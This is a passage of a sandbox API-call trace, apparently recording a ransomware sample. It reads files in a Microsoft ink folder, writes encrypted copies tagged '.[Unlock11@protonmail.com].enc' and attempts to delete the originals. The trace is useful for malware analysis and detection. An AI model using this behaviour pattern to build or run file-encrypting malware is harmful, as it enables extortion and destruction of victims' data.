dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0122.225] GetFileType (hFile=0x3ac) returned 0x1 [0122.226] GetLastError () returned 0x0 [0122.226] GetCurrentThreadId () returned 0x9b0 [0122.226] GetLastError () returned 0x0 [0122.226] GetFileType (hFile=0x3ac) returned 0x1 [0122.227] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.227] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.227] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.227] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.227] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.227] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.227] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.227] GetLastError () returned 0x0 [0122.227] GetCurrentThreadId () returned 0x9b0 [0122.227] GetLastError () returned 0x0 [0122.227] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d08 | out: hHeap=0x2ad0000) returned 1 [0122.228] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6258 | out: hHeap=0x2ad0000) returned 1 [0122.228] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0122.228] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0122.228] GetLastError () returned 0x0 [0122.228] GetLastError () returned 0x0 [0122.228] GetCurrentThreadId () returned 0x9b0 [0122.228] GetLastError () returned 0x0 [0122.228] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0122.228] GetLastError () returned 0x0 [0122.228] GetLastError () returned 0x0 [0122.228] GetCurrentThreadId () returned 0x9b0 [0122.228] GetLastError () returned 0x0 [0122.229] GetLastError () returned 0x0 [0122.230] GetLastError () returned 0x0 [0122.230] GetCurrentThreadId () returned 0x9b0 [0122.230] GetLastError () returned 0x0 [0122.231] GetCurrentThreadId () returned 0x9b0 [0122.231] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6d18 [0122.231] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d88 | out: hHeap=0x2ad0000) returned 1 [0122.231] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x2d8) returned 0x33f3a78 [0122.231] GetLastError () returned 0x0 [0122.231] GetLastError () returned 0x0 [0122.231] GetLastError () returned 0x0 [0122.231] GetLastError () returned 0x0 [0122.231] GetCurrentThreadId () returned 0x9b0 [0122.231] GetLastError () returned 0x0 [0122.231] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f3a78 | out: hHeap=0x2ad0000) returned 1 [0122.232] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0122.232] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0122.232] GetLastError () returned 0x0 [0122.232] GetLastError () returned 0x0 [0122.232] GetCurrentThreadId () returned 0x9b0 [0122.232] GetLastError () returned 0x0 [0122.232] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265248 | out: hHeap=0x2ad0000) returned 1 [0122.232] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8828 [0122.232] GetLastError () returned 0x0 [0122.232] GetLastError () returned 0x0 [0122.232] GetCurrentThreadId () returned 0x9b0 [0122.233] GetLastError () returned 0x0 [0122.233] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8828 | out: hHeap=0x2ad0000) returned 1 [0122.233] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.233] GetLastError () returned 0x0 [0122.234] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0122.234] CloseHandle (hObject=0x3ac) returned 1 [0122.234] GetLastError () returned 0x0 [0122.234] GetCurrentThreadId () returned 0x9b0 [0122.234] GetLastError () returned 0x0 [0122.234] GetLastError () returned 0x0 [0122.235] CloseHandle (hObject=0x39c) returned 1 [0122.235] GetLastError () returned 0x0 [0122.235] GetCurrentThreadId () returned 0x9b0 [0122.235] GetLastError () returned 0x0 [0122.235] GetLastError () returned 0x0 [0122.235] GetLastError () returned 0x0 [0122.235] GetLastError () returned 0x0 [0122.235] GetLastError () returned 0x0 [0122.235] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0 [0122.236] GetLastError () returned 0x5 [0122.236] GetCurrentThreadId () returned 0x9b0 [0122.236] GetLastError () returned 0x5 [0122.236] GetLastError () returned 0x5 [0122.236] GetLastError () returned 0x5 [0122.236] GetLastError () returned 0x5 [0122.236] LocalFree (hMem=0x1053d10) returned 0x0 [0122.236] GetCurrentThreadId () returned 0x9b0 [0122.236] GetLastError () returned 0x5 [0122.236] GetLastError () returned 0x5 [0122.237] GetLastError () returned 0x5 [0122.237] GetLastError () returned 0x5 [0122.237] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml", lpFilePart=0x9bada4*="main.xml") returned 0x49 [0122.237] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0122.237] GetCurrentThreadId () returned 0x9b0 [0122.237] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0122.237] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0122.237] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0122.237] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea660 [0122.237] GetLastError () returned 0x0 [0122.237] GetLastError () returned 0x0 [0122.238] GetLastError () returned 0x0 [0122.238] GetLastError () returned 0x0 [0122.238] GetCurrentThreadId () returned 0x9b0 [0122.238] GetLastError () returned 0x0 [0122.238] GetCurrentThreadId () returned 0x9b0 [0122.238] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea660 | out: hHeap=0x2ad0000) returned 1 [0122.238] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea750 [0122.238] GetLastError () returned 0x0 [0122.238] GetLastError () returned 0x0 [0122.238] GetLastError () returned 0x0 [0122.238] GetLastError () returned 0x0 [0122.239] GetCurrentThreadId () returned 0x9b0 [0122.239] GetLastError () returned 0x0 [0122.239] GetLastError () returned 0x0 [0122.239] GetLastError () returned 0x0 [0122.239] GetLastError () returned 0x0 [0122.239] GetLastError () returned 0x0 [0122.239] GetCurrentThreadId () returned 0x9b0 [0122.239] GetLastError () returned 0x0 [0122.239] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea750 | out: hHeap=0x2ad0000) returned 1 [0122.239] GetLastError () returned 0x0 [0122.240] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0122.240] GetLastError () returned 0x0 [0122.240] GetLastError () returned 0x0 [0122.240] GetLastError () returned 0x0 [0122.240] GetCurrentThreadId () returned 0x9b0 [0122.240] GetCurrentThreadId () returned 0x9b0 [0122.240] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a868 [0122.240] GetCurrentThreadId () returned 0x9b0 [0122.240] GetCurrentThreadId () returned 0x9b0 [0122.240] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadda)) returned 1 [0122.241] GetCurrentThreadId () returned 0x9b0 [0122.241] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a3cc | out: pbBuffer=0x366a3cc) returned 1 [0122.241] GetCurrentThreadId () returned 0x9b0 [0122.241] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0122.241] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0122.241] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0122.241] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea5c0 [0122.241] GetCurrentThreadId () returned 0x9b0 [0122.242] GetCurrentThreadId () returned 0x9b0 [0122.242] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea610 [0122.242] GetCurrentThreadId () returned 0x9b0 [0122.242] GetCurrentThreadId () returned 0x9b0 [0122.242] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5980 | out: hHeap=0x2ad0000) returned 1 [0122.242] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0122.243] GetFileType (hFile=0x39c) returned 0x1 [0122.243] GetCurrentThreadId () returned 0x9b0 [0122.243] GetFileType (hFile=0x39c) returned 0x1 [0122.243] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.243] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.243] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.243] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.243] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.243] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.243] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.243] GetLastError () returned 0x0 [0122.243] GetCurrentThreadId () returned 0x9b0 [0122.244] GetLastError () returned 0x0 [0122.244] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d08 | out: hHeap=0x2ad0000) returned 1 [0122.244] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2618 | out: hHeap=0x2ad0000) returned 1 [0122.244] GetLastError () returned 0x0 [0122.244] GetLastError () returned 0x0 [0122.244] GetLastError () returned 0x0 [0122.244] GetLastError () returned 0x0 [0122.244] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0122.244] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6c88 [0122.244] GetLastError () returned 0x0 [0122.244] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0122.245] GetFileType (hFile=0x3ac) returned 0x1 [0122.245] GetLastError () returned 0x0 [0122.246] GetCurrentThreadId () returned 0x9b0 [0122.246] GetLastError () returned 0x0 [0122.246] GetFileType (hFile=0x3ac) returned 0x1 [0122.246] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.246] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.246] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.246] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.246] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.246] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.246] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.246] GetLastError () returned 0x0 [0122.246] GetCurrentThreadId () returned 0x9b0 [0122.247] GetLastError () returned 0x0 [0122.247] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c88 | out: hHeap=0x2ad0000) returned 1 [0122.247] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19818 | out: hHeap=0x2ad0000) returned 1 [0122.247] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0122.247] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0122.247] GetLastError () returned 0x0 [0122.247] GetLastError () returned 0x0 [0122.247] GetCurrentThreadId () returned 0x9b0 [0122.247] GetLastError () returned 0x0 [0122.247] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0122.247] GetLastError () returned 0x0 [0122.248] GetLastError () returned 0x0 [0122.248] GetCurrentThreadId () returned 0x9b0 [0122.248] GetLastError () returned 0x0 [0122.248] GetLastError () returned 0x0 [0122.250] GetLastError () returned 0x0 [0122.250] GetCurrentThreadId () returned 0x9b0 [0122.250] GetLastError () returned 0x0 [0122.250] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d78 | out: hHeap=0x2ad0000) returned 1 [0122.250] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xadf8) returned 0x3703348 [0122.250] GetCurrentThreadId () returned 0x9b0 [0122.250] GetLastError () returned 0x0 [0122.251] GetLastError () returned 0x0 [0122.251] GetLastError () returned 0x0 [0122.251] GetLastError () returned 0x0 [0122.251] GetCurrentThreadId () returned 0x9b0 [0122.251] GetLastError () returned 0x0 [0122.251] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3703348 | out: hHeap=0x2ad0000) returned 1 [0122.251] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0122.251] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0122.251] GetLastError () returned 0x0 [0122.253] GetLastError () returned 0x0 [0122.253] GetCurrentThreadId () returned 0x9b0 [0122.253] GetLastError () returned 0x0 [0122.253] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0122.253] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0122.253] GetLastError () returned 0x0 [0122.254] GetLastError () returned 0x0 [0122.254] GetCurrentThreadId () returned 0x9b0 [0122.254] GetLastError () returned 0x0 [0122.254] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0122.254] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.254] GetLastError () returned 0x0 [0122.254] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0122.254] CloseHandle (hObject=0x3ac) returned 1 [0122.255] GetLastError () returned 0x0 [0122.255] GetCurrentThreadId () returned 0x9b0 [0122.255] GetLastError () returned 0x0 [0122.255] GetLastError () returned 0x0 [0122.255] CloseHandle (hObject=0x39c) returned 1 [0122.255] GetLastError () returned 0x0 [0122.255] GetCurrentThreadId () returned 0x9b0 [0122.255] GetLastError () returned 0x0 [0122.255] GetLastError () returned 0x0 [0122.255] GetLastError () returned 0x0 [0122.256] GetLastError () returned 0x0 [0122.256] GetLastError () returned 0x0 [0122.256] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0 [0122.256] GetLastError () returned 0x5 [0122.256] GetCurrentThreadId () returned 0x9b0 [0122.256] GetLastError () returned 0x5 [0122.256] GetLastError () returned 0x5 [0122.256] GetLastError () returned 0x5 [0122.256] GetLastError () returned 0x5 [0122.257] LocalFree (hMem=0x1053c70) returned 0x0 [0122.257] GetLastError () returned 0x5 [0122.257] GetLastError () returned 0x5 [0122.257] GetLastError () returned 0x5 [0122.257] GetLastError () returned 0x5 [0122.257] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml", lpFilePart=0x9bada4*="oskclearui.xml") returned 0x4f [0122.257] GetCurrentThreadId () returned 0x9b0 [0122.257] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0122.257] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0122.257] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0122.258] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0122.258] GetCurrentThreadId () returned 0x9b0 [0122.258] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea548 [0122.258] GetLastError () returned 0x0 [0122.258] GetLastError () returned 0x0 [0122.258] GetLastError () returned 0x0 [0122.258] GetLastError () returned 0x0 [0122.258] GetCurrentThreadId () returned 0x9b0 [0122.258] GetLastError () returned 0x0 [0122.258] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea548 | out: hHeap=0x2ad0000) returned 1 [0122.259] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea6b0 [0122.259] GetLastError () returned 0x0 [0122.259] GetLastError () returned 0x0 [0122.259] GetLastError () returned 0x0 [0122.259] GetLastError () returned 0x0 [0122.259] GetCurrentThreadId () returned 0x9b0 [0122.259] GetLastError () returned 0x0 [0122.259] GetCurrentThreadId () returned 0x9b0 [0122.259] GetLastError () returned 0x0 [0122.259] GetLastError () returned 0x0 [0122.259] GetLastError () returned 0x0 [0122.260] GetLastError () returned 0x0 [0122.260] GetCurrentThreadId () returned 0x9b0 [0122.260] GetLastError () returned 0x0 [0122.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea6b0 | out: hHeap=0x2ad0000) returned 1 [0122.260] GetLastError () returned 0x0 [0122.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6690 | out: hHeap=0x2ad0000) returned 1 [0122.260] GetLastError () returned 0x0 [0122.260] GetLastError () returned 0x0 [0122.260] GetLastError () returned 0x0 [0122.260] GetCurrentThreadId () returned 0x9b0 [0122.260] GetLastError () returned 0x0 [0122.261] GetLastError () returned 0x0 [0122.261] GetLastError () returned 0x0 [0122.261] GetLastError () returned 0x0 [0122.261] GetLastError () returned 0x0 [0122.261] GetCurrentThreadId () returned 0x9b0 [0122.261] GetLastError () returned 0x0 [0122.261] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0122.261] GetLastError () returned 0x0 [0122.261] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0122.261] GetLastError () returned 0x0 [0122.262] GetLastError () returned 0x0 [0122.262] GetLastError () returned 0x0 [0122.262] GetCurrentThreadId () returned 0x9b0 [0122.262] GetLastError () returned 0x0 [0122.262] GetLastError () returned 0x0 [0122.262] GetLastError () returned 0x0 [0122.262] GetLastError () returned 0x0 [0122.262] GetLastError () returned 0x0 [0122.262] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0122.262] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdd)) returned 1 [0122.263] GetLastError () returned 0x0 [0122.263] GetCurrentThreadId () returned 0x9b0 [0122.263] GetLastError () returned 0x0 [0122.263] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2828 | out: hHeap=0x2ad0000) returned 1 [0122.263] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a8cc | out: pbBuffer=0x366a8cc) returned 1 [0122.263] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0122.263] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0122.263] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0122.263] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea610 [0122.263] GetCurrentThreadId () returned 0x9b0 [0122.263] GetLastError () returned 0x0 [0122.264] GetLastError () returned 0x0 [0122.264] GetLastError () returned 0x0 [0122.264] GetLastError () returned 0x0 [0122.264] GetCurrentThreadId () returned 0x9b0 [0122.264] GetLastError () returned 0x0 [0122.264] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea610 | out: hHeap=0x2ad0000) returned 1 [0122.264] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea548 [0122.264] GetLastError () returned 0x0 [0122.264] GetLastError () returned 0x0 [0122.264] GetLastError () returned 0x0 [0122.264] GetLastError () returned 0x0 [0122.265] GetCurrentThreadId () returned 0x9b0 [0122.265] GetLastError () returned 0x0 [0122.265] GetCurrentThreadId () returned 0x9b0 [0122.265] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea548 | out: hHeap=0x2ad0000) returned 1 [0122.265] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6ce8 [0122.265] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a34c0 | out: hHeap=0x2ad0000) returned 1 [0122.265] GetLastError () returned 0x0 [0122.265] GetLastError () returned 0x0 [0122.265] GetLastError () returned 0x0 [0122.265] GetLastError () returned 0x0 [0122.265] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0122.266] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6d58 [0122.266] GetLastError () returned 0x0 [0122.266] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0122.266] GetFileType (hFile=0x39c) returned 0x1 [0122.266] GetLastError () returned 0x0 [0122.266] GetCurrentThreadId () returned 0x9b0 [0122.266] GetLastError () returned 0x0 [0122.266] GetFileType (hFile=0x39c) returned 0x1 [0122.266] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.267] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.267] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.267] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.267] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.267] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.267] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.267] GetLastError () returned 0x0 [0122.267] GetCurrentThreadId () returned 0x9b0 [0122.267] GetLastError () returned 0x0 [0122.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d58 | out: hHeap=0x2ad0000) returned 1 [0122.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2460 | out: hHeap=0x2ad0000) returned 1 [0122.267] GetLastError () returned 0x0 [0122.267] GetLastError () returned 0x0 [0122.268] GetLastError () returned 0x0 [0122.268] GetLastError () returned 0x0 [0122.268] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0122.268] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6be8 [0122.268] GetLastError () returned 0x0 [0122.268] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, 